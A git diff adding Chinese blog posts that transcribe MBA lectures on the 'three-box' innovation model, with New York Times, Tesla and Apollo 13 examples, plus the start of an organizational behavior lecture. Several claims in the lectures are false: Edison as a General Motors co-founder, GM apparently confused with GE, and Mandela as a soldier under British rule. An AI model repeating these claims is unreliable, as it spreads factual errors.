+所有他们采取的措施，都是创造缩小可能性的差距。要么是接近核心举措，要么颠覆。 + +比如说，他们遇到的第一个挑战，指挥舱只有一点点动力了，所以他们决定首先把指挥舱暂时关闭，暂时把这3位宇航员搬到了月球舱。现在让3位宇航员全都进入月球舱，那时候二氧化碳实在太多了，3位宇航员全都挤在月球舱里。那怎么去维持呢？这里面二氧化碳的含量，也不能发一些零部件过去，离地球20万英里。大家看电影，你发现他们有了一个盒子3的创新，所以我想说你走的每一步，要打造中国的未来，都需要有盒子3的思维，或者需要有另类的一些思考。 + +还有一个例子，他们遇到了最后一次挑战，要逃离月球的重力，就要回到地球的重力系统里面去。原来的飞行计划，指挥舱有另外200磅的重量。但是现在，指挥舱里没有200磅的重量了，如果以非常轻的重量接近地球，进入不了大气层。他们又有了一个盒子3的创新，哪怕没有200磅的额外重量，也是脱离了月球重力，而进入了地球。 + +《阿波罗13号》第二条非常重要的启示，这当中每一个重要的盒子3的举措，都是来自于组织的底部。盒子3的创新，没有一条是来自于CEO。 + +上节课有同学问到，组织当中谁里产生这些创新呢？自上而下的那些高管，还是来自于一线的员工？我可以回答，大部分盒子3的创新，都是来自于一线员工。 + +事实上，组织里面只有CEO在考虑盒子3的事情，你不会有很多盒子3的创新了。我们来想象为什么，如果这是我们的组织架构图，现在比较流行这种结构，把CEO放在金字塔底部，而把客户放在金字塔顶部。我去到每一个公司都知道，到底谁在使用那些公司的私人飞机？我们还是按照老的架构来。 + +盒子的战略总是来自于上层，底部的人工作是执行、落地，中间的人去确认，所以大部分组织大型的都是这样子来操作，最上面的一些人他们思考，最下面的一些人做事情，中间的人去确认。 + +如果你的公司是这样一个组织架构，我会说这家公司不能够做创新，我们来想想为什么，其实这里面有两个非常重要的问题。 + +问题一：如果你只是让最上面那帮人去思考，我觉得他们不能有什么新的一些思维。因为最上层的人，最多的问题是盒子1的问题，手上有最大的盒子1的问题，没有办法去忘记。为什么？因为剪式跳高法是他们发明的。 + +而且，我们靠剪式跳高方法赚了好多、好多钱，这过去是他们创造的。正是因为他们创造，所以他们无法忘记。 + +问题二：只有那些做事情的人，他们才最接近非线性的创新和变革，就像组织里面你想谁最快能够了解到客户的一些变化，把握竞争格局的一些动态，全都是活跃在一线的员工。 + +全线的那些人他们是离客户最近、离竞争对手最近、离技术最近，所谓我们那些做事的人，而且他们不仅仅离未来最近，离过去是最远的。所以，我们说大部分盒子3的创新，应该是来自于基层（特立独行的人）。 + +3.三盒创新练习 + +最后，我和大家分享一下，要使用三盒创新模型需要做的一些应用练习。这是你们在组织里面可以用的工具。 + +第一，让你的管理层聚在一起，想一想，有多少时间花在盒子1上，有多少时间花在盒子2、盒子3。 + +第二，如果你发现在盒子1上面花的时间太多了，要考虑一下背后的原因，为什么会在第1盒子花了时间，为什么没有做第2、第3个盒子。管理团队要开会，想一想怎么能够打破现在的现象。 + +第三，想想行业未来会怎么样？比如你对于颠覆式技术的假设，怎么样让非消费者变成你的消费者，非传统的竞争对手，新的销售渠道、监管变化，之前跟大家讲的孩之宝的例子，让管理团队好好做头脑风暴，想想未来假设怎么样。 + +你找到假设之后，看一下盒子1能够做什么，再去想办法想一下盒子3有哪些创意和想法。盒子3想法分类，有多少接近你的核心，有多少颠覆你的核心。最后一部分，因为有这种非线性的变革，需要忘记哪些挑战。再回到孩之宝非线性，你有哪些核心东西要忘记。 + +第四个练习，要有战略意向，要根据三个标准验证，是不是给到你方向、动力、挑战。你想一下大的梦想是什么。 + +第五个练习，找到你的核心竞争力，想一下我们昨天讲战略整个的架构，核心竞争力在哪里。不但要列出来，还有三个标准，是不是能够在不同平台上利用，你这样做是不是能够创造价值，这个东西是不是能够确保竞争对手不能够抄。 + +第六个练习，一旦找到了这些想法，建议你划分主次，不可能将这些想法一下子都去做。这里有两个标准： + +（1）想法吸引力。这是一个大的想法，还是小的想法。 + +（2）可行度。到底你要做这个想法有多容易。 + +以上两个结合在一起，可以很好排序。 + +第七个练习，一旦你排序之后，找最前面三个明确4点： + +1、客户痛点。到底客户有哪些问题。 + +2、新的商业模式，是什么样的。 + +3、是否这些商业模式能够满足这些痛点，市场规模有多大，潜在市场有多大。 + +4、需要有哪些能力。 + +下一节讲，怎么样去执行创新。 \ No newline at end of file diff --git a/_posts/2019-06-03-379-mba1304.md b/_posts/2019-06-03-379-mba1304.md new file mode 100644 index 0000000..074335a --- /dev/null +++ b/_posts/2019-06-03-379-mba1304.md @@ -0,0 +1,284 @@ +--- +layout: post +title: 【创新管理模块】 第4节 解决执行难题 +pid: 379 +tags: [mba] +--- + +盒子3的创新想法是一回事，如何执行又是另一回事，你要如何执行它？ + +1. 执行挑战 + +首先，需要了解执行方面的挑战。 + +每一家企业都需要做线性的创新，即盒子1。与此同时，我们需要有非线性的创新，即盒子3。 + +非线性的创新（盒子3），分成三类： + +一、“较近接近”，即那些与核心业务非常接近的盒子3创新。 + +二、“较远接近”，即那些与核心业务较远的盒子3创新 + +三、“颠覆性商业模式” + +从“较近接近”到“较远接近”再到“颠覆性”，执行风险会不断上升。性能引擎的执行风险最低。比如通用汽车，不知道如何执行自动驾驶汽车，不知道如何执行电动车，但它知道如何执行传统汽车。 + +如果从性能引擎到“较近接近”到“较远接近”再到最后的“颠覆性”执行风险越来越高，为什么还要做颠覆性创新呢？因为每家企业都还面临着一些其他风险，即过时风险。过时风险在性能引擎到“较近接近”到“较远接近”再到“颠覆性”的过程中是下降的。 + +如果你是一家汽车企业，你不想做自动驾驶汽车，觉得它太难，风险太高，等到2029年，你的产品可能会过时。自动驾驶汽车什么时候会准许上路？可能是2029年，也有可能是2050年，总之，未来某一个时间节点，它会成为现实，那时，传统汽车会消失。 + +我们这样想，如果一辆车是你的，它真正的使用时间只有5%，95%的时间都在车库里。当滴滴、Uber这些公司推出共享汽车的时候，汽车使用率从5%提高到20%。而自动驾驶汽车到来时，预计汽车使用率将从20%上升到40%，到时我们一年只需要500万辆汽车，不需要2000万辆汽车。这对汽车行业的颠覆是真实存在的，如果你什么都不做，到时你将面临过时的风险。作为领导者，你需要在执行风险和过时风险之间进行平衡。 + +我们再来看看执行的挑战，盒子3的表现是突破性想法和突破性执行的综合，结果=执行×想法。这里为什么要强调乘号？因为如果我们在想法或执行某一方面是0，结果得分就会是0。 + +人们误以为创新就是创造力，其实不是这样的。创新不等于创造力，创造力是创意，创新是“创意”ד执行”，创新是将创造力商业化。 + +通用汽车联合创始人爱迪生说得很好，创新是1%的灵感加99%的汗水。他非常了解，因为他是有史以来最伟大的创新者。1%的灵感就是 “想法”，99%的汗水指的是“执行”这个想法，将想法转化为影响力。 + +我与企业高管合作时，通常会问他们，如果给自己的突破性想法打分，1-10分可以得多少分，1很差，10最高。同样，给执行突破性想法打分，1-10分得几分？他们通常给出的分数，突破性想法能达到6分，而执行突破性想法只能打1分，那对于这家公司，突破性结果得分是6×1=6分。 + +如果该公司希望提高突破性结果得分，怎么做？通常他们做的是尝试提出更加出色的突破性想法，花更多时间做头脑风暴，将突破性想法从6分提升至8分，8×1肯定好于6×1。但这个问题可以换一种方法来考虑，为什么不花费同样的努力，将执行分数做得更好，从1分提升至3分。 + +事实上想法是不会失败的，头脑风暴中没有坏想法，所有的想法都可以写到白板上，做了头脑风暴之后，大家都很开心。只有在想法执行期间，你才会失败，因为只有在执行期间，才真正开始分配资源，开始具体操作，只有当你具体做事时，你才会失败。 + +同样，性能引擎在想法构思期间并不会抱怨，因为即便是性能引擎的人也可以跟着去五星级酒店开会，大家一起头脑风暴，玩得很开心。但在执行时，你将资源分配给盒子3，性能引擎的人会说：是我们带来公司所有的收入，我们需要资源，为什么要把资源分给一个抽象的概念？分给自动驾驶汽车？我们甚至不卖这种车，为什么还要给他投钱？ + +所以99%的汗水是非常重要的，三盒解决方案中最大的难题是“执行”。 + +2. 创新执行三原则 + +怎样能够减少执行风险？如果可以降低执行风险，就可以真正抓住盒子3的机会。这里有三个规则，如果能够遵循这三个规则，就可以成功地创造新的组织逻辑，同时又不失原来的主导逻辑。 + +举个《纽约时报》的例子，假设现在是1995年，互联网几乎还没有出现，像facebook、Google、百度这样的公司还没有诞生。纽约时报的一个员工找到CEO说，互联网在将来会是一个大事件，我们也要开始做互联网媒体业务，上了一个名为“数字纽约时报”的项目。在这里商业模式发生了非线性变化。 + +报业的商业模式中，通常有两类客户，读者和广告商。对客户的价值主张是高价值的内容，收取订阅和广告的高端会员费。纸质报纸的价值链架构是每天收集新闻，出售订阅会员 ，出售广告位，需要大量的印刷机打印报纸，24小时发行一次报纸。报社的核心竞争力是新闻，竞争对手是其他报社。 + +互联网媒体从根本上改变了纸质报纸，以非线性的方式改变了报社的商业模式。 + +互联网媒体的价值链架构有根本的不同，不需要印刷机。客户还是所有人，但互联网媒体可以免费提供内容，也许部分免费部分收费。广告模式也发生了变化，传统媒体中广告是为了品牌建设，而在互联网媒体中是有针对性的广告，比如你在读一篇关于癌症的文章，它就可以显示癌症药物的广告。在互联网媒体上，内容是不断更新的，互动的，客户可以自己产生内容。竞争对手也完全不同，互联网媒体的竞争对手是其它互联网公司，facebook、Google等。核心竞争力也不同，互联网媒体的核心竞争力是软件，纸媒的核心竞争力是新闻。 + +1995年，纽约时报有两个业务：报业和互联网媒体。报纸业务是盒子1业务，数字纽约时报是盒子3业务，盒子1是性能引擎，给你带来所有的收入和利润，是对未来进行投资的基础，盒子3是商业模式创新。 + +性能引擎的执行是日常执行，盒子3的执行是创新执行，两者都需要强大的执行力，但执行挑战完全不同。 + +主导逻辑可以执行盒子1业务，但不能执行盒子3业务。主导逻辑是为特定目的而构建的，它旨在促进剪式跳高的线性创新，不能做非线性业务。如果要做突破性创新，想执行非线性创新，必须创建一个新的组织逻辑，而不失主导逻辑。 + +换种方式解释，盒子1是紧急的事，盒子3是重要的事；盒子1是短期利润，盒子3是未来利润；盒子1是关于效率的，盒子3是关于灵活性的；盒子1的每个任务都是可重复的，这样就能发挥规模经济、专业化、提高效率等原则，而盒子3是非常规的；盒子1的每项任务都是可预测的，因为这是一个可预测的系统，所以盒子1业务的总经理必须要对短期财务业绩负责，而盒子3是基于弱信号，没人知道盒子3如何赚钱，这是一个不确定的系统，你不能要求盒子3业务的总经理负责短期财务业绩。盒子1是关于当下的，盒子3是关于未来的。 + +所以，主导逻辑可以执行盒子1，但很难执行盒子3。 必须创建一个可以执行盒子3的新组织逻辑，同时不失主导逻辑，因为剪式跳高依然有效。 + +如何创造这种新的组织逻辑？ + +每个盒子3创新都将面临3个挑战，即“忘记”、“借用”、“学习”挑战，每个挑战的应对都对应一条规则。你必须创建一个专门的团队，他们能忘记主导逻辑的规则。同时，专门的团队必须与性能引擎合作，这样它可以从性能引擎中借用一些资产。同时，这个专门的团队应该用最少的钱，检验“弱信号”的真假。 + +为了克服“忘记”、“借用”、“学习”的挑战，你必须彻底改变盒子3团队的DNA，这是盒子3团队唯一可以成功地“忘记”、“借用”、“学习”的方法。 + +2.1 应对“忘记”挑战 + +究竟怎么做呢？回到纽约时报的故事。1995年，纽约时报从外面聘请了Martin Nisenholtz作为数字纽约时报业务的负责人。这是比较大的一个动作，因为纽约时报一般不会从外面聘请高层人员。事实上，如果你在纽约时报的工龄不到20年，通常被称为新人。而且Martin Nisenholtz在报纸出版行业没有任何经验，他是来自于线上行业，曾在奥美广告工作过，负责其数字广告业务。 + +这种安排有一些好的方面： + +首先，他带来了纽约时报原来没有的能力，即数字化能力； + +其次，他没有盒子2的问题，他不了解报业，没有什么需要去忘记。 + +1995年纽约时报创建了如下组织架构: + +在这个组织架构中，Martin Nisenholtz位子很高，向报纸公司总经理汇报，给他分配的团队都是纽约时报很有经验的新闻记者、IT人员。在接下来的3年时间里，数字纽约时报没有取得多大进展，因为Martin Nisenholtz被顶部和底部的主导逻辑夹在中间了。他向报纸公司总经理汇报，而且底下人都来自于报纸原来的员工。 + +纽约时报的主导逻辑为什么做不了互联网媒体业务，因为有太多“忘记”的问题，他们必须忘记原来的核心竞争力新闻，他们必须忘记新闻在24小时内只发一次，还要忘记印刷，忘记广告客户，忘记收取订阅费和广告费的模式等等。但是，报业团队不能忘记这些东西，因为要在报业上赚钱。 + +纽约时报是一家报业公司，数字纽约时报不是一家利用了互联网技术的报业公司，应该是一个技术公司、数字公司。就好像，内燃机汽车是汽车，自动驾驶汽车不是汽车，是驾在四个轮子上的电脑。Airbnb不是简单的酒店业务数字化，它重塑了数字世界的待客概念。这是商业模式的创新。 + +1998年，纽约时报CEO有了一些大胆的举措。 + +首先，晋升了Martin Nisenholtz。Martin Nisenholtz和纸媒总经理两者都向CEO汇报。 + +其次，纽约时报的CEO告诉Martin Nisenholtz，去打造一个技术性企业。12个月时间里，团队75%的员工来自外部，不受到纸质报纸业务的束缚。可以到硅谷雇用技术人才。当你到硅谷雇佣人才时，与报纸业务相比，这个行业的人才更加年轻，你给的薪酬也不一样，因为来自硅谷的软件工程师，考虑的不是加入纽约时报还是其他哪家报社，他考虑的是应该加入纽约时报还是谷歌。 + +另外，Martin Nisenholtz被授权不受报纸业务流程的限制，可以建立自己的流程指标。 + +所以，为了让盒子3忘记主导逻辑，必须创建一支专门的团队，允许专门的团队具有与性能引擎不同的规则，可以聘请不同的人，支付不同的薪酬，可以有不同的流程指标。 + +这里有三个常见的错误，如果你能避免这些错误，就能够应对“忘记”的问题。 + +常见错误一：仅从内部聘用。 + +有时在成立盒子3团队时，只是将人员从盒子1调到盒子3，这不是真的盒子3。这里有两个规则： + +规则一：一定要从公司外部聘请专门团队的领导者，因为他是挑战现状最有力量的人。 + +规则二：至少1/4的员工来自外部。如果来自外部的人员不到1/4，会有很多“忘记”的问题。 + +常见错误二：专门团队与性能引擎分工不当。这里有几个规则： + +规则一：如果需要一个新技能，一定要加进专门的团队。比如要做自动驾驶汽车，就需要一个计算机科学专家，把计算机科学专家加进专门团队中。 + +规则二：合理划分专门团队和性能引擎的任务。 + ++ 如果权力平衡发生变化，应该偏向专门团队； ++ 如果需要新的协作，应该倾向于专门团队； ++ 如果需要不同的工作节奏，应该遵循专门团队 + +常见错误三：采用性能引擎的指标和流程。 + +专门团队是为了创建新的商业模式，需要新的指标、新的流程。 + +总结来看，你必须创建一个专门团队，在物理上与性能引擎分开，且可拥有不同的规则、不同的流程。 + +2.2 应对“借用”挑战 + +但是，专门团队不应该与性能引擎完全隔离，否则专门团队就没有现有优势。专门团队可以击败硅谷纯粹的互联网媒体公司的唯一方法是，借用一些性能引擎的资产，可以使数字纽约时报收益的资产有哪些? + +第一，品牌。数字纽约时报一上线就会很有知名度。 + +第二，内容。上百年的数字档案，纯粹的互联网媒体不会沉淀这么多内容。 + +第三，广告合作关系。纽约时报有上百年的广告合作关系、订阅用户。 + +报纸和数字纽约时报共享品牌、内容、广告主、客户关系，肯定有很多冲突。 + +第一个冲突是有限的资源， CEO手上的资源是有限的。而且这种资源的冲突会一直持续下去，从盒子3项目一开始的第一天起，一直不会消失。因为盒子3项目不断扩大，需要越来越多的资源，资源和市价上会有持续的冲突。 + +第二个冲突是时间范围，盒子1专注于短期，盒子3专注于长期。 + +第三个冲突是同类相食。 + +1995年纽约时报CEO做投资，可以放在报纸上，带来80%的毛利润，可以投在互联网媒体上，回报是在未来出现，而且未来不一定能得到。如果说未来有回报，它可能还蚕食了纸质报纸的收入。 + +这些冲突是实实在在的，盒子3、盒子1团队发生冲突，不是因为两边都是坏人，而是他们做的是两个不同的工作。盒子1是线性创新，盒子3是非线性创新，两边一起工作，肯定会有很多的冲突。 + +如果忽略盒子3、盒子1之间的冲突，轻微的紧张将变成极端的竞争。如果忽略他们之间的极端的竞争，就会变成极大的敌意；如果再忽略掉这些敌意，最终会是愤怒的战争。 + +然而，如果盒子1、盒子3是健康的伙伴关系，公司可以取得很大的进步。当你想做数字化转型时，必须创建一个专门的团队来开发软件，让他们可以按照完全不同于性能引擎的规则做事。但是，专门的团队必须和母舰相连，创造数字化解决方案，提升客户绩效，唯一的方法是软件与硬件融合。这种融合不可能顺畅，会有非常多的冲突。有三种策略可以帮助建立健康的伙伴关系。 + +开始做盒子3项目时，想要成功地“忘记”、“借用”，必须要创建一个独立但由于母舰相连的团队。盒子1是方形，是主导逻辑，纽约时报纸媒就像这个方块。数字纽约时报是是菱形，是专门的团队。菱形与方形形状不同，意味着可以在专门团队中拥有不同的规则，聘请不同的人才，采用不同的薪酬，拥有不同的流程，使用不同的指标。 + +同时，专门团队要与母舰相连，在母舰内部必须有共享员工，共享员工依然在性能引擎里，遵循性能引擎的规则。与此同时，他们必须要帮助盒子3团队。这种合作永远不会顺利。 + +回到通用汽车航空事业部的例子，他们在硅谷创建了一家硅谷数字创业公司，为飞机引擎开发软件，这个软件团队是与母舰相连的，母舰是通用汽车航空事业部，客户是都来自母舰，客户是工业企业，工业企业有软件部门的数据，数据是软件部门分析的内容。当连接到母舰时，肯定有很多的冲突。冲突的产生，并不是说谁不好，也不是说他们抵制变革，而是因为两个群体遵循不同的规则。 + +盒子3专门的团队不是孤立的团队，是拥有和母舰共享员工伙伴关系的团队。共享员工在性能引擎中，但同时是盒子3创新团队的成员，显而易见会有冲突。因为专门团队100%专注于盒子3，共享员工只是盒子3的兼职人员。过去共享员工只有一份工作，只支持性能引擎。现在这些人还要去帮助盒子3，这种转变肯定不可能顺利，这也是为什么有冲突。冲突是健康的，如果你可以管理这种冲突，就能建立伙伴关系。如果你不能管理好冲突，就会出现战争。当战争发生时，性能引擎会击溃你。 + +如何建立伙伴关系避免战争，需要避免三个错误。 + +错误一：借用太多。盒子3与盒子1的借用关系应该只限于一种资产，超过一种就会有很大的冲突。你需要在盒子1性能引擎里确定可以给盒子3带来极大竞争优势的一种资产。 + +错误二：忽视性能引擎的合理抱怨。性能引擎有很多抱怨，很多时候这些抱怨是正确的，他们不是抵制变革，要倾听性能引擎的抱怨，如果是合理的，去解决这些抱怨。往往有三种抱怨： + +1、我想帮助盒子3，但得给我更多的资源。过去共享员工只做一份工作，现在他们既要做性能引擎的工作，还有帮助盒子3团队的新工作，这意味着共享员工工作量增加了。当共享员工说需要更多的资源时，倾听他们说的话，做一下分析。如果确实工作量上升了，而且他们没有富余人力，就要给他们更多资源。 + +2、没有奖励共享员工的工作，没有给共享员工激励。假设你有一个共同的销售团队，过去他们只卖盒子1，现在要求他们盒子1和盒子3都卖。销售团队会说，我愿意卖盒子3的产品，但是与盒子1相比，盒子3的产品更难卖，因为盒子1是熟悉的客户。盒子3是一个新的价值主张，是一个更难卖的产品，但给一样的佣金，没有必要努力卖盒子3。 + +1）如果真的很难卖，给盒子3的销售加佣金。 + +2）可以重复计算销售收入。将盒子3的销售收入放到盒子3团队中，且为盒子1计算相同的销售收入。 + +3）设定转让价格。 + +4）在性能引擎的记分卡中增加帮助盒子3的意愿程度。 + +以上这些是解决激励问题的策略。 + +3、盒子3团队的领导可能会有意或者无意地鄙视盒子1。比如你在通用汽车管理自动驾驶汽车业务，你可能会说自动驾驶汽车才是未来，汽油动力汽车都是恐龙，快要灭亡了。对抗性能引擎的人是非常糟糕的主意。性能引擎是一台巨大的机器，千万不要对抗它。事实上，性能引擎不是你的敌人，而是你的朋友。没有绩效引擎就没有盒子3。性能引擎正在为你的未来投资，创造现金流。性能引擎具有你可以借用的功能。因此在选择专门团队的领导时，标准要加一条：谦逊。聘请一个谦逊的人带领团队非常重要。 + +错误三：忽视专门团队与性能引擎间的冲突。在这里CEO必须有很好的能力调节冲突。以下是一些可以采用的策略： + +1、特别是共享员工，他们必须在特定知识点上帮助盒子3，必须有一些内部人士在专门团队内部，你可以转移一些内部人士在性能引擎与专门团队间建立连接点 + +2、在分配资源和预算时，分配给专门团队应该有一个预算一个流程，确保专门团队和共享员工可以获得资源。 + +3、CEO必须要成为一个教练，积极解决、缓解业务冲突。只有CEO能够平衡执行风险和过时风险，CEO应该制定战略意向，清楚的展示盒子1、盒子3的角色定位，明确他们是同一家公司的必要组成部分。另外，你还要强调共同的核心价值观，价值观是另一种可以在盒子3、盒子1之间产生粘合剂的方法。 + +建立伙伴关系，有六大常见问题： + +第一，让性能引擎执行盒子3，就是“忘记”的问题。 + +第二，性能引擎是方形，专门团队是菱形，问题是两者之间没有“借用”行为。 + +第三，性能引擎变成了菱形，意味着性能引擎来执行盒子3，问题破坏了性能引擎。 + +第四，性能引擎是方形，专门团队是菱形，但非常小，意味着“借用”太多，共享员工太多会极大地影响性能引擎，会发生很多的冲突。 + +第五，性能引擎是方形，是一个独立的团队，意味着只是将人从性能引擎直接转到专门团队，结果专门团队只不过是小型性能引擎。如果大性能引擎做不了盒子3，小性能引擎也做不了。 + +第六，性能引擎是方形，专门团队是菱形，专门团队与母舰相连，但忘记了管理冲突，没有打造伙伴关系，过多冲突两方就有战争。 + +以上需要大家记住，你要做一个盒子3项目，希望成功地“忘记”、“借用”，必须有一个专门团队，忘记主导逻辑，又要和母舰连在一起，并且很好地管理这些冲突，有健康的伙伴关系。 + +2.3 应对“学习”挑战 + +接下来是盒子3的“学习”挑战。盒子3无非是很多的假设，是基于弱信号的。盒子3真正的挑战是检验弱信号，放大弱信号。 + +10次弱信号有9次都是噪声，可能只有1次弱信号是真实的信号，我们必须要对信号进行检验，以确定它是真实信号还是噪声。这里的关键是尽量以最低的成本来检验弱信号的真假。如果检验的成本低，失败的成本就低，学习成本就低。 + +每个盒子3都有三种类型的假设： + +假设一：客户会买吗？这里有很多相关假设。 + +假设二：能做出来吗？可行性如何？ + +假设三：能赚钱吗？ + +这三组假设里应该先去“客户会买吗？”，如果客户不买，能不能做出来、能不能赚钱也没有意义了。首先明确客户是否购买，做了这个检验之后，再去检验是不是可以做出来、是不是可以赚钱。 + +检验关键假设的黄金法则是用最小的资源获取更多的知识。 + +举个特斯拉的例子。 + +特斯拉成立于2004年，推出第一辆车是跑车，一款名为Roadster的全电动跑车。2004年，没有人听过特斯拉，他们在汽车行业没有知名度，Elon Musk本身也不是汽车工程师，他想做的第一件事情是打造自己的品牌，这是他们做跑车的原因，因为跑车不用卖很多辆，但公众对跑车的关注很多。如果制造一辆跑车，它赢得一场大赛，人们就会开始报道它。 + +事实上，特斯拉赢得了大奖赛，赢了之后人们会写文章说，这有一家公司特斯拉，像法拉利一样，是一个很厉害的汽车制造商。所以Elon Musk决定，先推一款跑车，然后Model S（高端全电动汽车），再到Model3(大众市场的电动汽车)。 + +一辆全电动的跑车，如何检验客户是否会购买? 你不能直接问客户要不要，这不是正确的检验方法。客户无法告诉你，你不能因为客户简单地告诉你我喜欢全自动跑车就开始生产，这是一种非常弱的检验。但你又不想先造一个全自动跑车再去检验客户是否购买，因为成本非常昂贵，你甚至连原型机都不能做，原型机也太贵了。因此验证成本必须高于纯概念检验，纯概念检验就是问客户你是否愿意购买，但真正的检验比原型机成本低很多。这就是Elon Musk检验这个假设的方式。 + +跑车通常都是非常富有的人才买的，所以他们不在乎价格，他们真正在乎是性能，比如百公里加速必须要非常快，他们还比较关注设计。Elon Musk想知道的是在这些有钱人中是否有一部分人也关注环境问题。因为跑车耗油量巨大，是否在有钱人群体中有这么一个细分市场，想享受跑车，又想环保。如果有足够大的人群，他就可以建造全自动跑车。 + +但是如何验证这个假设呢?他是这么做的。 + +路特斯是英国一家非常著名的跑车公司，他们设计、生产跑车。Elon Musk找到路特斯说，我很喜欢路特斯Elise这款车，能不能免费赠送我6个路特斯Elise的车身，把引擎盖里的东西全拿走，只要车身。路特斯为什么要给Elon Musk？因为Elon Musk说如果我开始生产全自动跑车，就会给路特斯买车身。事实上，现在所有的特斯拉跑车用的都是路特斯的车身。为了获得未来收入，路特斯免费给Elon Musk6个车身。 + +Elon Musk拿到车身后，用交流电动机、电动机电池等部件把他组装好，让他看起来就像一辆全自动跑车，而不是原型机。Elon Musk把这6辆车放在美国跑车购买者最多的6个城市，放在最繁华的购物区。很多人都围过去看，看的时候需要填一份调查问卷，你喜欢什么车？你喜欢什么功能？你愿意付多少钱？等等。 + +但Elon Musk又多做了一步，如果你喜欢这部车，给我支付5000美元的订金，这款车还没有开始设计，没有开始生产。如果有足够多的人给我5000美金我就开始设计，4年后到2008年可以交车。这是用最小的订金给你显示性偏好。你必须以可靠的方式确定客户是否真的想购买，这就是他2008年开发特斯拉Roadster的方法。这就是用最少的钱获取最大的知识。 + +对于盒子3项目，创新领导者完全有可能完美地执行任务，也可能创新实验失败得很惨，而这对于盒子1是不太可能发生的，对于盒子1，领导者不可能完美地执行任务或盒子1项目失败得很惨。盒子3失败得很惨是指关键假设检验无效，就要关停盒子3项目，这是正确的做法，所以不要对盒子3的领导做短期财务结果的评估，要根据检验关键假设的效果来评估他们。他们如何构建低成本实验，他们根据实验学到了什么。 + +盒子3的三个原则，说起来容易，做起来难。 + +原则一：创建一个专门的团队。他们可以采用与性能引擎完全不同的规则，这样才能忘记主导逻辑。 + +原则二：专门团队应该与母舰相连，建立与主导逻辑的伙伴关系。 + +原则三：对专门团队领导者进行评估，是否通过更少的资源，检验更多假设，获取更多知识。 + +做到以上三点，就可以降低盒子3项目的执行风险，降低执行风险、减少过时风险。 + +3. 三盒创新理论新的应用 + +最后我想谈几点想法，这三个盒思维不仅仅适用你的组织，还可以用它来推动个人的发展战略。相信在座每一位，以及听这堂课的每一位学员，都需要为自己打造一个战略的架构。或者说做自己人生的一个规划，不是光为你的组织。 + +我出生长大于印度一个小的村子，没有电、新鲜的水，那时候的梦想去哈佛念MBA，这绝对是不可能完成的任务。但是我没有放弃，想想将来需要去找哪些虚弱信号把它放大，我的战略意向是什么，看看我想要建什么样的能力，达到何种成就。 + +对于你们来说，你们的未来也是看现在，不是说未来你做什么。所以每天早上起床，都要来反思一下，看看我今天是不是花了足够多的时间在盒子1、盒子3。 + +为什么经常有很多人没有投资你的时间精力在盒子3，因为如果要伤害你，也不是现在伤害，你现在看不到这种“害”。伤害你在未来，就像每天你去运动。运动以后，能够保持健康，为什么同样简单的道理，不能够应用在其它工作上呢？ + +你今天不运动，健康问题可能现在没有暴露出来，10年以后才会暴露出来。你现在不运动，身体健康就会下降。但是一点、一点的，那么小、那么无形，你没有注意到。我想说未来在一点一滴累计当中，不是说未来突然某一天来到。 + +怎么样能够从盒子1跨到盒子3，我有两个女儿，我在印度长大，那时候啥也没有。 + +对我来说，努力、勤奋是唯一一条成功的道路。但是现在我的孩子条件比我好的多，怎么样让她们也有同样的饥饿感。因为我长大的时候什么也没有，背水一战，这比较容易。我的孩子们现在资源很多，条件很好，怎么样才能让他们也同样饥渴？ + +所以，在我的孩子身上做这件事情：让她接触一些有意思的人。 + +我们遇到很多、很多有趣的人，我也非常有幸见到纳尔逊·曼德拉，他来到我们家里，跟我们共进晚餐。我的女儿们和曼德拉去共进晚餐，你真的见到他，不可能没跟他吃这顿饭以前一样的想法。因为曼德拉在描述自己人生的经历，我的女儿们深受感动。 + +大家也知道，曼德拉年轻的时候当过兵，扛上枪去打仗。那时候英国统治南非，因为他当过兵，后来去坐牢。不是坐27小时、27天、27个月，他是坐27年牢。 + +在这27年时间里，他深受这些狱卒们折磨。所以他说放出来的时候，我必须要忘记我的愤怒、痛苦，如果我要打造南非的未来，必须先要做盒子2，先要去忘记。因为27年饱受折磨，完全可以走出监狱以后，以牙还牙去报仇。他没有选择这条路，他决定做盒子2去忘记，只有忘记以后，才能看到明确的未来，我要去拥抱和解、拥抱和平，所以，必须先要放下仇恨、放下自己的怨气。 + +我的女儿们听曼德拉说这些事情的时候，真的非常有感触。所以，像中国这些年轻人就应该让他们去开眼界，接触有意思的人，这跟做生意没有关系。有意思、有趣的人会改变他们的世界观。 + +希望大家可以将三盒创新思维同时运用于工作和生活，谢谢大家。 \ No newline at end of file diff --git a/_posts/2019-06-03-380-mba1201.md b/_posts/2019-06-03-380-mba1201.md new file mode 100644 index 0000000..52b24b8 --- /dev/null +++ b/_posts/2019-06-03-380-mba1201.md @@ -0,0 +1,344 @@ +--- +layout: post +title: 【组织行为学模块】 第1节 微观层面：颠覆认知，寻求魔镜 +pid: 380 +tags: [mba] +--- + +组织行为学是全世界所有商学院的必修课程，它研究的是在组织情景中的人类行为。从组织行为学来讲，一般可以从微观、中观和宏观层面，或者说从个体行为、群体行为、组织行为这三个角度来分析、探讨、研究人类的行为。在个体行为中，我们会特别强调认知的颠覆，在群体行为中会强调如何对团队进行赋能，使它成为高绩效的团队。在组织层面中特别强调从生态这个角度，就是组织结构是有机的，而不是过去传统的、机械的。最后把个体行为、群体行为、组织行为这三个层面融会贯通。打通以后着眼于从个体行为中间，也就是个人成长怎么从基础的个人成为优秀的管理者，进一步成为卓越的领导者。 + +![](/uploads/2019/06/03-05.png) + +# 导论 + +在导论中，主要探讨两个问题： + +问题一：组织行为学是什么？；问题二：组织行为学能为你带来什么？ + +# 组织行为学是什么？ + +组织行为学是致力于理解、预测和改变在组织这个情景中间发生的人类行为。但人的行为太复杂了，托尔斯泰讲，人是一匹黑白相间的花斑马，乎好乎坏、乎黑乎白，能够预测吗？能够理解吗？能够改变吗？当然能！ + +（1）人类行为可以理解吗？ + +首先讲最近发生的两件事情。比如美团，王兴是2010年刚刚成立美团，他在外卖、团购、电影票等五个方面，是“后发先至”。 + +人人网2011年上市，上市时候的最高市值达94亿美金，但去年11月98%的市值都蒸发了。所以，一个企业的行为是后发可以先至，先发也可能后至。 + +通过组织行为学，我是这样来解释的，后发先至最重要是找到了新逻辑，关键是顺势而为。所以，这次课程非常注重逻辑的把握。孙中山先生曾经这样讲，很多时候天下大事浩浩荡荡，顺势者昌，逆势者亡，关键要顺势。但是，当时人人网上市的时候号称是中国的Facebook，问题就在于他找错了自己的定位，频繁转型，虽然很努力，但问题是定位错了。 + 